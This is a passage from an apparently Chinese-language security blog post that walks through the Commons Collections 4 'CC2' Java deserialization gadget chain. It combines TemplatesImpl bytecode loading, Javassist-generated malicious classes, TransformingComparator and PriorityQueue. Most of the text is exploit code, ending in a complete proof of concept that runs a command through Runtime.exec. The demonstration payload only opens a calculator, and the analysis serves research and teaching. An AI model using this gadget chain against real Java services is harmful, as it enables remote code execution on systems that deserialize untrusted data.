1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass test = pool.makeClass("Evil" ); String cmd = "System.out.println(\"Hello,Javasist\");" ;test.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor = test.makeClassInitializer(); constructor.insertBefore(cmd); test.writeFile("./" ); byte [] bytes = test.toBytecode();TemplatesImpl templates = TemplatesImpl.class.newInstance();Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" );Field _name = temp.getDeclaredField("_name" );_name.setAccessible(true ); _name.set(templates,"tttt" ); Field _class = temp.getDeclaredField("_class" );_class.setAccessible(true ); _class.set(templates,null ) Field _bytecodes = temp.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates,new byte [][]{bytes}); Field _tfactory = temp.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); templates.newTransformer();
这些前置知识到这里就分析完了,我们最后要利用这个TemplatesImpl去加载我们生成的恶意字节码,但是我们还缺一个反序列化的入口,这个入口接下来将在cc2链中介绍
CC2链条分析 cc1的链加上PriorityQueue链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class cc2Tester { public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); TransformingComparator transformingComparator = new TransformingComparator(chain); //也可通过构造函数直接进行传入 //PriorityQueue queue = new PriorityQueue(1,transformingComparator); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue,transformingComparator); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./evil.bin")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./evil.bin")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
先看一眼利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass() newInstance() Runtime.getRuntime().exec("calc")
注意 :这里可以使用CC1中的方法来构造我们的恶意类,然后利用CC2链中的PriorityQueue中的反序列化,但这个反序列化值能命令执行,使用加载字节码的方法可以代码执行
代码1 InvokerTransformer.transform()和cc1中的一样,就是通过反射执行指定对象的函数,所以我们可以将这个TemplatesImpl中的newTransformer()方法传入其中
1 2 3 4 Constructor constructor =Class.forName("org.apache.commons.collections4.functors.InvokerTransformer") .getDeclaredConstructor(String.class); constructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer)constructor.newInstance("newTransformer");
代码2 按照CC1分析中的思路,我们还需要找到一个方法执行transform(),并且能够被反序列化
最后找到了TransformingComparator中的compare()方法
很神奇,commons-collections4中的这个类继承了序列化接口,而commons-collections3没有继承
可以看到compare()方法中调用了transform()方法
1 TransformingComparator comparator = new TransformingComparator (transformer);
代码3 但是这个类中的compare方法的参数是不可控的,所以我们需要寻找一个参数可控的compare方法,按住alt+F7查找所有的compare方法,PriorityQueue类中的siftDownUsingComparator()方法调用了comparator对象的compare方法,并且这个comparator对象也是可控的,并且传入的参数x会传到compare方法中,也就是这里会执行我们传入的TransformingComparator对象的compare方法
查找谁调用了siftDownUsingComparator()方法,发现是siftDown()方法,并且参数有x 它的逻辑是如果comparator不为null就调用这个函数,所以我们需要使用反射修改这个值为 TransformingComparator对象
接着往上找,发现heapify()方法调用,并且x的值就是queue数组中的值
代码的逻辑就是将size右移一位然后减1,假如size是1的话就是那么化成二进制是01,向右移动一位就是00,然后减去1就是-1了,不会进入循环;如果是2的话,化成二进制就是0010,右移一位就是0001,然后减去1就是0,会进入循环,也就会执行siftDown()方法
继续往上找,直到找到readObject方法调用我们可控的方法
代码逻辑就是将queue中的每个值都反序列化,然后调用heapify()方法,由上一步的分析可以知道,只要我们控制queue的值就会调用我们分析的一层层的方法
queue是禁止反序列化的,size是private属性,且初始值是0 所以queue和size只需要使用反射修改即可
注意 :这里一开始因为queue前面有transient修饰让我有一些疑惑,加了这个关键字后这个不是不能进行序列化操作了吗?但是发现它是将queue里面的对象进行的序列化和反序列化,所以我想对我们的利用是没有影响的吧(纯推想,欢迎指正😉)
根据上面的分析,我们总共需要设置3个变量:queue、size、comparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PriorityQueue queue = new PriorityQueue (1 ); Object[] queue_array = new Object []{templates,1 }; Field queue_field=Class.forName("java.util.PriorityQueue" ).getDeclaredField("queue" ); queue_field.setAccessible(true ); queue_field.set(queue,queue_array); Field size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); size.setAccessible(true ); size.set(queue,2 ); Field comparator_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); comparator_field.setAccessible(true ); comparator_field.set(queue,comparator);
完整poc代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.PriorityQueue; public class cc2Tester { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, CannotCompileException, NotFoundException, IOException, TransformerConfigurationException { ClassPool pool = ClassPool.getDefault(); //添加类搜索路径 pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass test = pool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; //选择继承的类为AbstractTranslet test.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor1 = test.makeClassInitializer(); constructor1.insertBefore(cmd); test.writeFile("./"); byte[] bytes = test.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //修改_name的值 Field _name = temp.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates,"tttt"); //修改_class的值 Field _class = temp.getDeclaredField("_class"); _class.setAccessible(true); _class.set(templates,null); //修改_bytecodes的值 Field _bytecodes = temp.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); _bytecodes.set(templates,new byte[][]{bytes}); //修改_tfactory的值 Field _tfactory = temp.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(templates,new TransformerFactoryImpl()); //执行最外面的函数newTransformer() templates.newTransformer(); Constructor constructor2 =Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); constructor2.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer)constructor2.newInstance("newTransformer"); TransformingComparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1); //设置queue的值 Object[] queue_array = new Object[]{templates,1}; Field queue_field=Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue,queue_array); //设置size的值 Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue,2); //设置comparator的值 Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,comparator); //序列化与反序列化 ObjectOutputStream serialize = new ObjectOutputStream(new FileOutputStream("./cc2")); serialize.writeObject(queue); serialize.close(); ObjectInputStream deserialize = new ObjectInputStream(new FileInputStream("./cc2")); deserialize.readObject(); deserialize.close(); } }